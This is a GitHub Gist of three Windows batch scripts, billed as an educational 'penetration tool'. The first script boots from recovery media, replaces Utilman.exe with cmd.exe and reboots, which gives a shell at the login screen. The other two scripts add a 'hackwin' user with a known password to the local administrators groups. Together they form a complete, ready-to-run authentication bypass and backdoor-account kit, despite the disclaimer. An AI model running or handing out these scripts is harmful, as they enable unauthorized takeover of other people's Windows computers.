Last active
December 6, 2018 21:23
-
-
Save mansouryaacoubi/1a4709fdb5fc5f07bd0132b2e6330f75 to your computer and use it in GitHub Desktop.
Override Permission when exploiting Windows 7 security breach
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
REM ................................................ WELCOME TO ................................................. | |
:: ███╗ ███╗██╗ ██╗██╗ ██╗██╗███╗ ██╗███████╗████████╗██████╗ █████╗ ████████╗██╗ ██████╗ ███╗ ██╗ :: | |
:: ████╗ ████║╚██╗ ██╔╝██║ ██║██║████╗ ██║██╔════╝╚══██╔══╝██╔══██╗██╔══██╗╚══██╔══╝██║██╔═══██╗████╗ ██║ :: | |
:: ██╔████╔██║ ╚████╔╝ ██║ █╗ ██║██║██╔██╗ ██║█████╗ ██║ ██████╔╝███████║ ██║ ██║██║ ██║██╔██╗ ██║ :: | |
:: ██║╚██╔╝██║ ╚██╔╝ ██║███╗██║██║██║╚██╗██║██╔══╝ ██║ ██╔══██╗██╔══██║ ██║ ██║██║ ██║██║╚██╗██║ :: | |
:: ██║ ╚═╝ ██║ ██║ ╚███╔███╔╝██║██║ ╚████║███████╗ ██║ ██║ ██║██║ ██║ ██║ ██║╚██████╔╝██║ ╚████║ :: | |
:: ╚═╝ ╚═╝ ╚═╝ ╚══╝╚══╝ ╚═╝╚═╝ ╚═══╝╚══════╝ ╚═╝ ╚═╝ ╚═╝╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═════╝ ╚═╝ ╚═══╝ :: | |
REM ............................................................................................................. | |
REM @name MYWinetration | |
REM @fullname Mansour Yaacoubi Windows Penetration Tool | |
REM @author Mansour Yaacoubi | |
REM @date May 29th, 2017 | |
REM @country Germany | |
REM @description This batch-script replaces the Windows Utility-Manager with a | |
REM the windows built-in command line interface while using | |
REM the command-line of the Windows Recovery-Stick. | |
REM This script does not harm anybody or creates any damage to a PC. | |
REM This should only be used for educational purposes and to test out | |
REM existing security breaches. | |
REM @todo - Test on multiple windows-versions | |
REM - improve output | |
REM | |
@echo off | |
color 0A | |
REM Change code page to UTF-8 | |
CHCP 65001 | |
setlocal EnableDelayedExpansion | |
set proj_drive=null | |
set comp_drive=null | |
set vol_name=WINETRATION | |
set BKSPC= | |
set cmd=cmd.exe | |
REM You can also use sethc.exe | |
set utilman=Utilman.exe | |
set mywindir=\Windows\System32 | |
cls | |
goto splashscreen | |
REM Find project drive where this script is located | |
REM Use: call :splashscreen | |
REM Example: call :splashscreen | |
REM Result: __ _____ ___ ___ __ __ _ | |
REM / |/ /\ \/ / | / (_)___ ___ / /__________ _/ /_(_)___ ____ | |
REM / /|_/ / \ /| | /| / / / __ \/ _ \/ __/ ___/ __ `/ __/ / __ \/ __ \ | |
REM / / / / / / | |/ |/ / / / / / __/ /_/ / / /_/ / /_/ / /_/ / / / / | |
REM /_/ /_/ /_/ |__/|__/_/_/ /_/\___/\__/_/ \__,_/\__/_/\____/_/ /_/ | |
REM | |
REM starting.... | |
:splashscreen | |
cls | |
echo __ _____ ___ ___ __ __ _ | |
echo / ^|/ /\ \/ / ^| / (_)___ ___ / /__________ _/ /_(_)___ ____ | |
echo / /^|_/ / \ /^| ^| /^| / / / __ \/ _ \/ __/ ___/ __ `/ __/ / __ \/ __ \ | |
echo / / / / / / ^| ^|/ ^|/ / / / / / __/ /_/ / / /_/ / /_/ / /_/ / / / / | |
echo /_/ /_/ /_/ ^|__/^|__/_/_/ /_/\___/\__/_/ \__,_/\__/_/\____/_/ /_/ | |
echo. | |
< NUL (SET /P Z=starting.) | |
call :sleep 1000 | |
< NUL (SET /P Z=.) | |
call :sleep 1000 | |
< NUL (SET /P Z=.) | |
call :sleep 1000 | |
< NUL (SET /P Z=.) | |
goto projDrive | |
goto eof | |
REM Find project drive where this script is located | |
REM Use: call :projDrive | |
REM Example: call :projDrive | |
REM Result: Project drive found: E: | |
REM Project volume name: WINETRATION | |
REM (saved) | |
:projDrive | |
call :banner | |
echo. | |
echo. | |
REM other methods to find out drives/volumes | |
:: echo list volume | diskpart | |
:: fsutil fsinfo drives | |
:: wmic logicaldisk get caption, volumename | |
:: wmic logicaldisk get name, volumename | |
for /f "tokens=2 delims==" %%a in ( 'wmic logicaldisk where "volumename='%vol_name%'" get caption /format:list' ) do ( | |
if [%%a] NEQ [] ( | |
echo Project drive found: %%a | |
echo Project volume name: %vol_name% | |
set proj_drive=%%a | |
echo ^(saved^) | |
goto compDrive | |
) | |
) | |
goto eof | |
REM Find computer drive which uses Windows | |
REM Use: call :compDrive | |
REM Example: call :compDrive | |
REM Result: Windows drive found: C: | |
REM Windows directory located here: C:\Windows\System32 | |
REM (saved) | |
:compDrive | |
echo. | |
for /f "tokens=2 delims==" %%a in ( 'wmic logicaldisk get caption /format:list' ) do ( | |
REM remove CR (carriage return) from wmic command | |
set "drive=%%a" | |
set "drive=!drive:~0,-1!" | |
if exist !drive!%mywindir% ( | |
echo Windows drive found: !drive! | |
echo Windows directory located here: !drive!%mywindir% | |
set comp_drive=!drive! | |
echo ^(saved^) | |
goto startAttack | |
) | |
) | |
goto eof | |
REM Starts attack on computer by replacing Utility-Manager with CLI | |
REM Use: call :startAttack | |
REM Example: call :startAttack | |
REM Result: :banner (see result output @banner) | |
REM (1) Change drive to C: | |
REM (2) Enter \Windows\System32 directory | |
REM (3) Create a backup of the Utility-Manager (Utilman.exe.bak) | |
REM (4) Hide CLI as Utility-Manager (cmd.exe -> Utilman.exe) | |
REM (5) Reboot system... | |
:startAttack | |
call :banner | |
echo. | |
echo Starting attack now | |
call :sleep 500 | |
echo ^(1^) Change drive to !drive! | |
!drive! | |
call :sleep 500 | |
echo ^(2^) Enter %mywindir% directory | |
cd !drive!%mywindir% | |
call :sleep 500 | |
echo ^(3^) Create a backup of the Utility-Manager (%utilman%.bak) | |
move %utilman% %utilman%.bak | |
call :sleep 500 | |
echo ^(4^) Hide CLI as Utility-Manager (%cmd% -^> %utilman%) | |
copy %cmd% %utilman% | |
call :sleep 500 | |
echo ^(5^) Reboot system... | |
echo. | |
echo. | |
echo. | |
echo GMT: %time% | |
call :sleep 5000 | |
wpeutil reboot | |
goto eof | |
REM Prints Programm banner, description and time | |
REM Use: call :banner | |
REM Example: call :banner | |
REM Result: ███╗ ███╗██╗ ██╗██╗ ██╗██╗███╗ ██╗███████╗████████╗██████╗ █████╗ ████████╗██╗ ██████╗ ███╗ ██╗ | |
REM ████╗ ████║╚██╗ ██╔╝██║ ██║██║████╗ ██║██╔════╝╚══██╔══╝██╔══██╗██╔══██╗╚══██╔══╝██║██╔═══██╗████╗ ██║ | |
REM ██╔████╔██║ ╚████╔╝ ██║ █╗ ██║██║██╔██╗ ██║█████╗ ██║ ██████╔╝███████║ ██║ ██║██║ ██║██╔██╗ ██║ | |
REM ██║╚██╔╝██║ ╚██╔╝ ██║███╗██║██║██║╚██╗██║██╔══╝ ██║ ██╔══██╗██╔══██║ ██║ ██║██║ ██║██║╚██╗██║ | |
REM ██║ ╚═╝ ██║ ██║ ╚███╔███╔╝██║██║ ╚████║███████╗ ██║ ██║ ██║██║ ██║ ██║ ██║╚██████╔╝██║ ╚████║ | |
REM ╚═╝ ╚═╝ ╚═╝ ╚══╝╚══╝ ╚═╝╚═╝ ╚═══╝╚══════╝ ╚═╝ ╚═╝ ╚═╝╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═════╝ ╚═╝ ╚═══╝ | |
REM | |
REM Welcome to MYWinetration (Mansour Yaacoubi Windows Penetration Tool) | |
REM GMT: 12:54:17,35 | |
:banner | |
cls | |
echo ███╗ ███╗██╗ ██╗██╗ ██╗██╗███╗ ██╗███████╗████████╗██████╗ █████╗ ████████╗██╗ ██████╗ ███╗ ██╗ | |
echo ████╗ ████║╚██╗ ██╔╝██║ ██║██║████╗ ██║██╔════╝╚══██╔══╝██╔══██╗██╔══██╗╚══██╔══╝██║██╔═══██╗████╗ ██║ | |
echo ██╔████╔██║ ╚████╔╝ ██║ █╗ ██║██║██╔██╗ ██║█████╗ ██║ ██████╔╝███████║ ██║ ██║██║ ██║██╔██╗ ██║ | |
echo ██║╚██╔╝██║ ╚██╔╝ ██║███╗██║██║██║╚██╗██║██╔══╝ ██║ ██╔══██╗██╔══██║ ██║ ██║██║ ██║██║╚██╗██║ | |
echo ██║ ╚═╝ ██║ ██║ ╚███╔███╔╝██║██║ ╚████║███████╗ ██║ ██║ ██║██║ ██║ ██║ ██║╚██████╔╝██║ ╚████║ | |
echo ╚═╝ ╚═╝ ╚═╝ ╚══╝╚══╝ ╚═╝╚═╝ ╚═══╝╚══════╝ ╚═╝ ╚═╝ ╚═╝╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═════╝ ╚═╝ ╚═══╝ | |
echo. | |
echo Welcome to MYWinetration (Mansour Yaacoubi Windows Penetration Tool) | |
echo GMT: %time% | |
echo. | |
goto eof | |
REM Sleep function in milliseconds | |
REM Use: call :sleep <time_in_ms> | |
REM Example: call :sleep 3000 | |
REM Result: Sleeps 3 seconds | |
:sleep | |
ping 1.1.1.1 -n 1 -w %1 > nul 2>&1 | |
goto eof | |
:eof |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
@echo off | |
set user=hackwin | |
set password=hackwin | |
REM net user hackwin /delete | |
echo Add new user %user% with password %password% | |
net user "%user%" "%password%" /add | |
call :turningStarLoading | |
echo Add user %user% to admin-group | |
net localgroup administratoren hackwin /add > nul 2>&1 | |
net localgroup administrators hackwin /add > nul 2>&1 | |
call :turningStarLoading | |
REM net user administrator /active:yes | |
echo. | |
echo Further help: | |
echo. | |
echo List all user: net user | |
echo Change user password: net user ^<username^> ^<password^> | |
echo Restart computer: wpeutil reboot | |
echo shutdown -r | |
goto eof | |
:turningStarLoading | |
FOR /L %%I IN (1,1,100) DO ( | |
if %%I gtr 999 (set PADDED=%%I) else ( if %%I gtr 99 (set PADDED= %%I) else ( if %%I gtr 9 (set PADDED= %%I) else (set PADDED= %%I) ) ) | |
<NUL (SET/P Z=Progress: !PADDED!%% │) | |
msleep 10 | |
<NUL (SET/P Z=%BKSPC%) | |
<NUL (SET/P Z=Progress: !PADDED!%% /) | |
msleep 10 | |
<NUL (SET/P Z=%BKSPC%) | |
<NUL (SET/P Z=Progress: !PADDED!%% ─) | |
msleep 10 | |
<NUL (SET/P Z=%BKSPC%) | |
<NUL (SET/P Z=Progress: !PADDED!%% \) | |
msleep 10 | |
<NUL (SET/P Z=%BKSPC%) | |
) | |
echo. | |
goto eof. | |
:progressBarLoading | |
FOR /L %%I IN (0,1,50) DO ( | |
IF %%I LEQ 9 (SET TIC=0%%I) ELSE (SET TIC=%%I) | |
FOR /L %%J IN (0,1,50) DO ( | |
IF %%J EQU 0 (<NUL (SET/P Z=[)) | |
IF %%J LEQ %%I (<NUL (SET/P Z=▓)) ELSE (<NUL (SET/P Z=░)) | |
::IF %%J GTR %%I | |
IF %%J EQU 50 (<NUL (SET/P Z=])) | |
) | |
<NUL (SET/P Z= [!TIC!/50]) | |
msleep 50 | |
<NUL (SET/P Z=%BKSPC%) | |
) | |
echo. | |
goto eof | |
:eof |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
@echo off | |
REM net user hackwin /delete | |
net user hackwin hackwin /add | |
net localgroup administratoren hackwin /add | |
net localgroup administrators hackwin /add | |
REM net user administrator /active:yes | |
echo List all user: net user | |
echo Change user password: net user ^<username^> ^<password^> |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment